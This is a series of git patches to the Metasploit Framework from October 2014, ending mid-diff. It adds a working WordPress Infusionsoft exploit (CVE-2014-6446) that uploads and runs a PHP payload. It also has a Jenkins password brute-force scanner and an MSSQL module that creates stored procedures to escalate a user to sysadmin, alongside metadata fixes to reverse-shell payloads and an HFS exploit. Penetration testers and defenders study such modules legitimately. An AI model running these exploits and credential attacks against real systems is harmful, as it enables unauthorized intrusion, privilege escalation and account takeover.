b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Jenkins-CI Login Utility', 'Description' => 'This module simply attempts to login to a Jenkins-CI instance using a specific user/pass.', - 'Author' => [ 'NS', 'Nicholas Starke ', 'nstarke' ], + 'Author' => [ 'Nicholas Starke ' ], 'License' => MSF_LICENSE ) From 12cd686bc4b515219fbb16d84dc80c482fc93021 Mon Sep 17 00:00:00 2001 From: agix Date: Mon, 6 Oct 2014 11:22:53 +0200 Subject: [PATCH 037/107] Delete Encoder possibility in msfpayload --- msfpayload | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/msfpayload b/msfpayload index e75c17dea4..945d58a5a1 100755 --- a/msfpayload +++ b/msfpayload @@ -82,7 +82,7 @@ end # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_ENCODER, Msf::MODULE_NOP ], + :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], 'DisableDatabase' => true ) @@ -136,13 +136,11 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) fmt = 'java' if (cmd =~ /^b$/) fmt = 'raw' if (cmd =~ /^w$/) fmt = 'python' if (cmd =~ /^n$/) - enc = options['ENCODER'] begin buf = payload.generate_simple( 'Format' => fmt, - 'Options' => options, - 'Encoder' => enc) + 'Options' => options) rescue $stderr.puts "Error generating payload: #{$!}" exit From 29111c516c1862301886d03a63ac35c987c21abb Mon Sep 17 00:00:00 2001 From: us3r777 Date: Mon, 6 Oct 2014 14:10:01 +0200 Subject: [PATCH 038/107] Wordpress Infusionsoft Gravity Forms CVE-2014-6446 The Infusionsoft Gravity Forms plugin 1.5.3 through 1.5.10 for WordPress does not properly restrict access, which allows remote attackers to upload arbitrary files and execute arbitrary PHP code via a request to utilities/code_generator.php. --- .../unix/webapp/php_wordpress_infusionsoft.rb | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb new file mode 100644 index 0000000000..c13c2a8a24 --- /dev/null +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress InfusionSoft Upload Vulnerability', + 'Description' => %q{ + This module exploits an arbitrary PHP code upload in the Infusionsoft Gravity Forms plugins. The vulnerability allows for arbitrary file upload and remote code execution. Plug-in versions 1.5.3 through 1.5.10 are vulnerable. + }, + 'Author' => + [ + 'g0blin', # Vulnerability Discovery + 'us3r777 ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-6446'], + ['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'], + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]], + 'DisclosureDate' => 'Sep 25 2014', + 'DefaultTarget' => 0) + ) + register_options( + [ + OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]), + ], self.class) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php') + ) + return Exploit::CheckCode::Detected if res && res.code == 200 + + Exploit::CheckCode::Safe + end + + def exploit + php_pagename = rand_text_alpha(8 + rand(8)) + '.php' + res = send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', + 'Infusionsoft', 'utilities', 'code_generator.php'), + 'method' => 'POST', + 'vars_post' => + { + 'fileNamePattern' => php_pagename, + 'fileTemplate' => payload.encoded + } + }) + + if res && res.code == 200 + print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") + register_files_for_cleanup(php_pagename) + else + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + end + + print_status("#{peer} - Calling payload ...") + send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', + 'Infusionsoft', 'utilities', php_pagename) + }) + handler + end + +end From 03888bc97b7d9c0895c8655b7c73e69740fe400f Mon Sep 17 00:00:00 2001 From: us3r777 Date: Mon, 6 Oct 2014 18:56:01 +0200 Subject: [PATCH 039/107] Change the check function Use regex based detection --- modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb index c13c2a8a24..4e4b84d147 100644 --- a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -46,8 +46,9 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php') ) - return Exploit::CheckCode::Detected if res && res.code == 200 - + if res && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/ + return Exploit::CheckCode::Detected + end Exploit::CheckCode::Safe end From b8c2643d566c7247c7da641873dc19510ea1bff9 Mon Sep 17 00:00:00 2001 From: nstarke Date: Mon, 6 Oct 2014 21:14:10 -0500 Subject: [PATCH 040/107] Converting Module to LoginScanner w/ Specs The previous commits for this Jenkins CI module relied on an obsolete pattern. Consequently, it was necessary to write this module as a LoginScanner and incorporate the appropriate specs so that the tests will run properly. --- .../framework/login_scanner/jenkins.rb | 60 ++++++++++++ .../auxiliary/scanner/http/jenkins_login.rb | 91 +++++++++---------- .../framework/login_scanner/jenkins_spec.rb | 10 ++ 3 files changed, 113 insertions(+), 48 deletions(-) create mode 100644 lib/metasploit/framework/login_scanner/jenkins.rb create mode 100644 spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb new file mode 100644 index 0000000000..58c4cf58d8 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -0,0 +1,60 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Jenkins < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 8080 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/j_acegi_security_check" if self.uri.nil? + self.method = "POST" if self.method.nil? + + super + end + + def attempt_login(credential) + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + begin + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version) + cli.connect + req = cli.request_cgi({ + 'method'=>'POST', + 'uri'=>'/j_acegi_security_check', + 'vars_post'=> { + 'j_username' => credential.public, + 'j_password'=>credential.private + } + }) + res = cli.send_recv(req) + if res && !res.headers['location'].include?('loginError') + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + Result.new(result_opts) + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index c32c43addd..4e81db5c75 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -4,14 +4,16 @@ ## require 'pry' require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/jenkins' class Metasploit3 < Msf::Auxiliary - + + include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner - + def initialize super( 'Name' => 'Jenkins-CI Login Utility', @@ -22,59 +24,52 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(8080), - OptAddress.new('RHOST', [ true, "The target address", true]) + Opt::RPORT(8080) ], self.class) register_autofilter_ports([ 80, 443, 8080, 8081, 8000 ]) - deregister_options('RHOSTS') end - def run - each_user_pass do |user, pass| - next if (user.blank? or pass.blank?) - vprint_status("Trying #{user} : #{pass}") - if (datastore['SSL'].to_s.match(/^(t|y|1)/i)) - protocol = 'https://' + def run_host(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::Jenkins.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10, + user_agent: datastore['UserAgent'], + vhost: datastore['VHOST'] + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else - protocol = 'http://' - do_login(user, pass) + invalidate_login(credential_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end + end - def do_login(user, pass) - begin - post_data = { - 'j_username' => user, - 'j_password' => pass - } - res = send_request_cgi({ - 'uri' => '/j_acegi_security_check', - 'method' => 'POST', - 'vars_post' => post_data - }) - rescue ::Rex::ConnectionError => e - vprint_error("#{rhost}:#{rport}#{url} - #{e}") - return - end - if not res - vprint_error("#{rhost}:#{rport}#{url} - #{e}") - return - end - if !res.headers['location'].include? 'loginError' - print_good("SUCCESSFUL LOGIN. '#{user} : #{pass}'") - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'jenkins', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) - return :next_user - end - end end diff --git a/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb new file mode 100644 index 0000000000..67053e63dd --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb @@ -0,0 +1,10 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/jenkins' + +describe Metasploit::Framework::LoginScanner::Jenkins do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end From e1b0ba5d3d70c639dd221da20c8c38ca31b46d1c Mon Sep 17 00:00:00 2001 From: nstarke Date: Mon, 6 Oct 2014 21:40:39 -0500 Subject: [PATCH 041/107] Removing 'require pry' I accidentally left a reference to pry in my code. Removing --- modules/auxiliary/scanner/http/jenkins_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index 4e81db5c75..feff629226 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -2,7 +2,7 @@ # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'pry' + require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/jenkins' From 031fb1915340ae40d5f8948255999725c277c30a Mon Sep 17 00:00:00 2001 From: nullbind Date: Mon, 6 Oct 2014 23:52:30 -0500 Subject: [PATCH 042/107] requested updates --- .../admin/mssql/mssql_escalate_dbowner.rb | 239 +++++++++--------- 1 file changed, 117 insertions(+), 122 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index c6e6c78ba7..45a008805e 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -27,105 +27,105 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{ip} as #{datastore['username']}...") - if mssql_login_datastore == false - print_error('Login was unsuccessful. Check your credentials.') - disconnect - return - else - print_good('Connected.') - end + # Check connection and issue initial query + print_status("Attempting to connect to the database server at #{ip} as #{datastore['username']}...") + if mssql_login_datastore == false + print_error('Login was unsuccessful. Check your credentials.') + disconnect + return + else + print_good('Connected.') + end - # Query for sysadmin status - print_status("Checking if #{datastore['username']} has the sysadmin role...") - begin + # Query for sysadmin status + print_status("Checking if #{datastore['username']} has the sysadmin role...") mystatus = check_sysadmin - rescue - print_error('Sorry, the database connection failed.') - end # Check if user has sysadmin role if mystatus == 1 - print_good("#{datastore['username']} has the sysadmin role, no escalation required.") + print_good("#{datastore['username']} has the sysadmin role, no escalation required.") else - # Check for trusted databases owned by sysadmins - print_status("You're NOT a sysadmin, let's try to change that.") - print_status("Checking for trusted databases owned by sysadmins...") - trustdb_list = check_trustdbs - if trustdb_list == 0 - print_error('No databases owned by sysadmin were found flagged as trustworthy.') - else - - # Display list of accessible databases to user - trustdb_list.each { |trustdb| - print_status(" - #{trustdb[0]}") - } - - # Check if the user has the db_owner role in any of the databases - print_status('Checking if the user has the db_owner role in any of them...') - dbowner_status = check_db_owner(trustdb_list) - if dbowner_status == 0 - print_error("Fail buckets, the user doesn't have db_owner role anywhere.") + # Check for trusted databases owned by sysadmins + print_error("You're NOT a sysadmin, let's try to change that.") + print_status("Checking for trusted databases owned by sysadmins...") + trustdb_list = check_trustdbs + if trustdb_list == 0 + print_error('No databases owned by sysadmin were found flagged as trustworthy.') else - # Attempt to escalate to sysadmin - print_status("Attempting to escalate in #{dbowner_status}!") - escalate_status = escalate_privs(dbowner_status) - if escalate_status == 1 + # Display list of accessible databases to user + trustdb_list.each { |trustdb| + print_status(" - #{trustdb[0]}") + } - # Check if escalation was successful - mystatus = check_sysadmin - if mystatus == 1 - print_good("Congrats, #{datastore['username']} is now a sysadmin!.") - else - print_error("Fail buckets, something went wrong.") - end + # Check if the user has the db_owner role in any of the databases + print_status('Checking if the user has the db_owner role in any of them...') + dbowner_status = check_db_owner(trustdb_list) + if dbowner_status == 0 + print_error("Fail buckets, the user doesn't have db_owner role anywhere.") else - print_error("Fail buckets, something went wrong.") + + # Attempt to escalate to sysadmin + print_status("Attempting to escalate in #{dbowner_status}!") + escalate_status = escalate_privs(dbowner_status) + if escalate_status == 1 + + # Check if escalation was successful + mystatus = check_sysadmin + if mystatus == 1 + print_good("Congrats, #{datastore['username']} is now a sysadmin!.") + else + print_error("Fail buckets, something went wrong.") + end + else + print_error("Error: #{escalate_status}") + end end end end end - end # ---------------------------------------------- # Method to check if user is already sysadmin # ---------------------------------------------- def check_sysadmin - # Setup query to check for sysadmin - sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" + # Setup query to check for sysadmin + sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" - # Run query - result = mssql_query(sql, false) if mssql_login_datastore - disconnect + # Run query + result = mssql_query(sql, false) if mssql_login_datastore + disconnect - # Parse query results - parse_results = result[:rows] - mystatus = parse_results[0][0] + # Parse query results + parse_results = result[:rows] + mystatus = parse_results[0][0] - # Return status - return mystatus + # Return status + return mystatus end # ---------------------------------------------- # Method to get trusted databases owned by sysadmins # ---------------------------------------------- def check_trustdbs - # Setup query - sql = "SELECT d.name AS DATABASENAME - FROM sys.server_principals r - INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id - INNER JOIN sys.server_principals p ON - p.principal_id = m.member_principal_id - inner join sys.databases d on suser_sname(d.owner_sid) = p.name - WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'" + # Setup query + sql = "SELECT d.name AS DATABASENAME + FROM sys.server_principals r + INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id + INNER JOIN sys.server_principals p ON + p.principal_id = m.member_principal_id + inner join sys.databases d on suser_sname(d.owner_sid) = p.name + WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'" - begin - # Run query - result = mssql_query(sql, false) if mssql_login_datastore - disconnect + begin + # Run query + result = mssql_query(sql, false) if mssql_login_datastore + disconnect + rescue + # Return on fail + return 0 + end # Parse query results parse_results = result[:rows] @@ -134,19 +134,16 @@ class Metasploit3 < Msf::Auxiliary # Return on success return parse_results - rescue - # Return on fail - return 0 - end + end # ---------------------------------------------- # Method to check if user has the db_owner role # ---------------------------------------------- def check_db_owner(trustdb_list) - # Check if the user has the db_owner role is any databases - trustdb_list.each { |db| - begin + # Check if the user has the db_owner role is any databases + trustdb_list.each { |db| + # Setup query sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user from [#{db[0]}].sys.database_role_members drm @@ -158,24 +155,26 @@ class Metasploit3 < Msf::Auxiliary result = mssql_query(sql, false) if mssql_login_datastore disconnect - # Parse query results - parse_results = result[:rows] - if parse_results.any? - print_good("- db_owner on #{db[0]} found!") - return db[0] + begin + # Parse query results + parse_results = result[:rows] + if parse_results.any? + print_good("- db_owner on #{db[0]} found!") + return db[0] + else + return 0 + end + rescue + print_error("- No db_owner on #{db[0]}") end - rescue - print_error("- No db_owner on #{db[0]}") - end - } + } end # ---------------------------------------------- # Method to escalate privileges # ---------------------------------------------- def escalate_privs(dbowner_db) - # Create the evil stored procedure WITH EXECUTE AS OWNER - begin + # Create the evil stored procedure WITH EXECUTE AS OWNER # Setup query evilsql_create = "use #{dbowner_db}; DECLARE @myevil as varchar(max) @@ -189,55 +188,51 @@ class Metasploit3 < Msf::Auxiliary exec(@myevil); select 1;" - # Run query - mssql_query(evilsql_create, false) if mssql_login_datastore - disconnect - rescue - - # Return error - error = 'Failed to create stored procedure.' - return error - end - - # Run the evil stored procedure - begin + begin + # Run query + mssql_query(evilsql_create, false) if mssql_login_datastore + disconnect + rescue + # Return error + error = 'Failed to create stored procedure.' + return error + end + # Run the evil stored procedure # Setup query evilsql_run = "use #{dbowner_db}; DECLARE @myevil2 as varchar(max) set @myevil2 = 'EXEC sp_elevate_me' exec(@myevil2);" - # Run query - mssql_query(evilsql_run, false) if mssql_login_datastore - disconnect - rescue - - # Return error - error = 'Failed to run stored procedure.' - return error - end - - # Remove evil procedure - begin + begin + # Run query + mssql_query(evilsql_run, false) if mssql_login_datastore + disconnect + rescue + # Return error + error = 'Failed to run stored procedure.' + return error + end + # Remove evil procedure # Setup query evilsql_remove = "use #{dbowner_db}; DECLARE @myevil3 as varchar(max) set @myevil3 = 'DROP PROCEDURE sp_elevate_me' exec(@myevil3);" - # Run query - mssql_query(evilsql_remove, false) if mssql_login_datastore - disconnect + begin + # Run query + mssql_query(evilsql_remove, false) if mssql_login_datastore + disconnect - # Return value - return 1 - rescue - - # Return error - error = 'Failed to run stored procedure.' - return error - end + # Return value + return 1 + rescue + # Return error + error = 'Failed to run stored procedure.' + return error + end end end From eed0958de5bb075b51aea59f996d2b293801a93b Mon Sep 17 00:00:00 2001 From: nstarke Date: Tue, 7 Oct 2014 11:28:40 -0500 Subject: [PATCH 043/107] Fixing Comment Comment was incorrect and needed to be fixed. --- lib/metasploit/framework/login_scanner/jenkins.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb index 58c4cf58d8..35fbd709f5 100644 --- a/lib/metasploit/framework/login_scanner/jenkins.rb +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -4,7 +4,7 @@ module Metasploit module Framework module LoginScanner - # Tomcat Manager login scanner + # Jenkins login scanner class Jenkins < HTTP # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP From a8b5bf462591bc7653b3065e7051a6ab6d90e1dc Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 7 Oct 2014 14:34:41 -0500 Subject: [PATCH 044/107] Show selected auxiliary action --- lib/msf/base/serializer/readable_text.rb | 22 +++++++++++++++++++ lib/msf/ui/console/command_dispatcher/core.rb | 5 ++++- 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index cb456780fd..0f6c6020c9 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -108,6 +108,28 @@ class ReadableText tbl.to_s + "\n" end + # Dumps the auxiliary's selected action + # + # @param mod [Msf::Auxiliary] the auxiliary module. + # @param indent [String] the indentation to use (only the length + # matters) + # @param h [String] the string to display as the table heading. + # @return [String] the string form of the table. + def self.dump_auxiliary_action(mod, indent = '', h = nil) + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => h, + 'Columns' => + [ + 'Name', + 'Description', + ]) + + tbl << [ mod.action.name || 'All', mod.action.description || '' ] + + tbl.to_s + "\n" + end + # Dumps the table of payloads that are compatible with the supplied # exploit. # diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index ea1ab0d732..219604b95f 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3140,10 +3140,13 @@ class Core end end - # Print the selected target + # Print the selected target or action if (mod.exploit? and mod.target) mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ') print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0) + elsif (mod.auxiliary? and mod.action) + mod_action = Serializer::ReadableText.dump_auxiliary_action(mod, ' ') + print("\nAuxiliary action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0) end # Uncomment this line if u want target like msf2 format From 3c7be9c4c575ba30431048c05bac96c1ac8175e8 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Wed, 8 Oct 2014 09:01:19 +0000 Subject: [PATCH 045/107] Remove hash rockets from references #3766 [SeeRM #8776] --- modules/auxiliary/gather/doliwamp_traversal_creds.rb | 4 ++-- modules/payloads/singles/cmd/windows/reverse_powershell.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index fdf092ed90..dc009c4c73 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'Brendan Coles ', 'References' => [ - ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], - ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] ], 'DisclosureDate' => 'Jan 12 2014')) register_options( diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index b9ffdd86ae..8126e90a20 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -25,7 +25,7 @@ module Metasploit3 ], 'References' => [ - 'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell', + ['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell'] ], # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE 'License' => MSF_LICENSE, From e0016d4af335dc05eab1542ac324b130985eabf3 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Wed, 8 Oct 2014 09:16:38 +0000 Subject: [PATCH 046/107] Remove hash rocket from refs array #3766 [SeeRM #8776] --- modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index 63de7b66c9..f5ed7fc894 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -25,7 +25,7 @@ module Metasploit3 ], 'References' => [ - 'EDB' => '18226', + ['EDB', '18226'] ], 'License' => MSF_LICENSE, 'Platform' => 'linux', From a901916b0b93ceef431f6f6f17077d74088fb363 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 8 Oct 2014 10:21:45 -0500 Subject: [PATCH 047/107] Remove nonfunctional jtr_unshadow This module hasn't been doing anything but print_error a go away message since June, so may as well get rid of it. --- modules/auxiliary/analyze/jtr_unshadow.rb | 34 ----------------------- 1 file changed, 34 deletions(-) delete mode 100644 modules/auxiliary/analyze/jtr_unshadow.rb diff --git a/modules/auxiliary/analyze/jtr_unshadow.rb b/modules/auxiliary/analyze/jtr_unshadow.rb deleted file mode 100644 index 13a19ed202..0000000000 --- a/modules/auxiliary/analyze/jtr_unshadow.rb +++ /dev/null @@ -1,34 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - def initialize - super( - 'Name' => 'Unix Unshadow Utility', - 'Description' => %Q{ - This module takes a passwd and shadow file and 'unshadows' - them and saves them as linux.hashes loot. - }, - 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE - ) - - register_options( - [ - OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']), - OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']), - OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']), - ], self.class) - end - - def run - print_error "This module is deprecated and does nothing. It will be removed in the next release!" - end - -end From d913bf1c35efc37afa519bc01920cbfd07d5a6e8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 10:29:59 -0500 Subject: [PATCH 048/107] Fix metadata --- .../windows/http/http_file_server_exec.rb | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index ffef4a75bb..8928e22086 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ b/modules/exploits/windows/http/http_file_server_exec.rb @@ -15,11 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "HttpFileServer 2.3.x Remote Command Execution", + 'Name' => "HttpFileServer Remote Command Execution", 'Description' => %q{ - HFS is vulnerable to remote command execution attack due to a poor regex in the file - ParserLib.pas. This module exploit the HFS scripting commands by using '%00' to bypass - the filtering. + HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex + in the file ParserLib.pas. This module exploit the HFS scripting commands by using '%00' + to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows + XP SP3, Windows 7 SP1 and Windows 8. }, 'License' => MSF_LICENSE, 'Author' => @@ -29,17 +30,12 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], - ['URL', 'http://www.rejetto.com/hfs/download'], - ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'], ['CVE', '2014-6287'], ['OSVDB', '111386'], + ['URL', 'http://seclists.org/bugtraq/2014/Sep/85'], + ['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands'] ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, - # Tested HFS 2.3b : - # - Windows XP (Build 2600, Service Pack 3). - # - Windows 7 (Build 7601, Service Pack 1). - # - Windows 8 (Build 9200). 'Platform' => 'win', 'Targets' => [ From d02f0dc4b9776ca0b7e175d5af969e3759782b5d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 8 Oct 2014 10:36:56 -0500 Subject: [PATCH 049/107] Make minor cleanup --- .../windows/http/http_file_server_exec.rb | 42 ++++++++++--------- 1 file changed, 22 insertions(+), 20 deletions(-) diff --git a/modules/exploits/windows/http/http_file_server_exec.rb b/modules/exploits/windows/http/http_file_server_exec.rb index 8928e22086..f1f3454bec 100644 --- a/modules/exploits/windows/http/http_file_server_exec.rb +++ 